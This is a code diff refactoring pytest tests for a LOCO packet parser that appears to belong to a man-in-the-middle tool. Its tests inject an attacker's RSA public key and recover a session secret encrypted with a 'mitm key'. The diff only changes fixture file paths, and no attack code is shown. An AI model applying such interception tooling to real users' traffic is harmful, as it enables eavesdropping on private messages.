[14.805868, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[Jfoo@bar % \u001b[K\u001b[?2004h"]

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

View File

@ -79,8 +79,8 @@ def parser():
@pytest.fixture(params=_LOCO_PACKETS_YAML) @pytest.fixture(params=_LOCO_PACKETS_YAML)
def loco_packet_packet(request): def loco_packet_packet(request, shared_datadir):
with open(Path(request.param), encoding="utf-8") as packet_yaml: with open((shared_datadir / request.param), encoding="utf-8") as packet_yaml:
loco_packet_dict = yaml.load(packet_yaml) loco_packet_dict = yaml.load(packet_yaml)
return LocoPacket( return LocoPacket(
@ -103,11 +103,11 @@ def loco_zip(request):
return request.param return request.param
def test_parse(parser, loco_zip): def test_parse(parser, loco_zip, shared_datadir):
encrypted_loco_packet_path, loco_packet_yaml_path = loco_zip encrypted_loco_packet_path, loco_packet_yaml_path = loco_zip
with open(encrypted_loco_packet_path, "rb") as packet_raw, open( with open((shared_datadir / encrypted_loco_packet_path), "rb") as packet_raw, open(
loco_packet_yaml_path, encoding="utf-8" (shared_datadir / loco_packet_yaml_path), encoding="utf-8"
) as packet_yaml: ) as packet_yaml:
encrypted_loco_packet = packet_raw.read() encrypted_loco_packet = packet_raw.read()
loco_packet_dict = yaml.load(packet_yaml) loco_packet_dict = yaml.load(packet_yaml)
@ -126,13 +126,17 @@ def test_parse(parser, loco_zip):
assert parser.loco_packet.get_packet_as_dict() == packet.get_packet_as_dict() assert parser.loco_packet.get_packet_as_dict() == packet.get_packet_as_dict()
def test_inject_public_key(parser, loco_encrypted_packet): def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
rsa_key_pair = get_rsa_2048_key_pair() rsa_key_pair = get_rsa_2048_key_pair()
with open(Path("encrypted_screate_packet_with_mitm_key.raw"), "rb") as packet_raw: with open(
(shared_datadir / "encrypted_screate_packet_with_mitm_key.raw"), "rb"
) as packet_raw:
encrypted_screate_packet_with_mitm_key = packet_raw.read() encrypted_screate_packet_with_mitm_key = packet_raw.read()
with open(Path("screate_loco_packet.yaml"), encoding="utf-8") as packet_yaml: with open(
(shared_datadir / "screate_loco_packet.yaml"), encoding="utf-8"
) as packet_yaml:
screate_dict = yaml.load(packet_yaml) screate_dict = yaml.load(packet_yaml)
original_public_key = screate_dict.get("body_payload").get("pi")[0].get("ek") original_public_key = screate_dict.get("body_payload").get("pi")[0].get("ek")
@ -159,11 +163,12 @@ def test_inject_public_key(parser, loco_encrypted_packet):
) )
def test_get_shared_secret(parser): def test_get_shared_secret(parser, shared_datadir):
rsa_key_pair = get_rsa_2048_key_pair() rsa_key_pair = get_rsa_2048_key_pair()
with open( with open(
Path("setsk_loco_packet_sk_enc_with_mitm_key.yaml"), encoding="utf-8" (shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
encoding="utf-8",
) as packet_yaml: ) as packet_yaml:
setsk_dict = yaml.load(packet_yaml) setsk_dict = yaml.load(packet_yaml)
@ -189,12 +194,13 @@ def test_get_shared_secret(parser):
assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret
def test_encrypt_shared_secret(parser, loco_encrypted_packet): def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
with open(Path("encrypted_setsk_packet.raw"), "rb") as packet_raw: with open((shared_datadir / "encrypted_setsk_packet.raw"), "rb") as packet_raw:
encrypted_setsk_packet = packet_raw.read() encrypted_setsk_packet = packet_raw.read()
with open( with open(
Path("setsk_loco_packet_sk_enc_with_mitm_key.yaml"), encoding="utf-8" (shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
encoding="utf-8",
) as packet_yaml: ) as packet_yaml:
setsk_dict = yaml.load(packet_yaml) setsk_dict = yaml.load(packet_yaml)